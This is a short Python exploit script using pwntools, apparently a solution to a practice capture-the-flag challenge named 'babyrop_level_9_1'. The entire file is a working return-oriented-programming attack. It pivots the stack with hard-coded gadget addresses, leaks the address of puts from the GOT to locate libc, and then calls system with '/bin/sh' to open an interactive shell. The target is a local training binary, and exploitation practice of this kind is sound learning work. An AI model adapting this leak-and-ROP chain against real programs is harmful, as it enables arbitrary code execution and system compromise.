#!/usr/bin/python3

from pwn import *

context.binary = target = ELF("./babyrop_level_9_1", checksec=False)
libc = target.libc
r = process()

# funcs
s = lambda a: r.sendline(a)

# gadgets
pop_rbp = 0x4011bd
leave_ret = 0x4021f1
pop_rdi = 0x402313

# buf
buf = p64(pop_rbp)
buf += p64(0x415080+0x10)
buf += p64(leave_ret)
buf += p64(pop_rdi)
buf += p64(target.got.puts)
buf += p64(target.sym.puts)
buf += p64(target.sym._start)
s(buf)

# leak
r.recvuntil(b"Leaving!\n")
puts = u64(r.recv(6).ljust(8, b"\x00"))
log.info("puts: %#x", puts)
libc.address = puts - libc.sym.puts
log.info("libc: %#x", libc.address)
sh = next(libc.search(b"/bin/sh"))
system = libc.sym.system

# pop
buf = p64(pop_rbp)
buf += p64(0x415080+0x10)
buf += p64(leave_ret)
buf += p64(pop_rdi)
buf += p64(sh)
buf += p64(pop_rdi+1)
buf += p64(system)
s(buf)

r.interactive()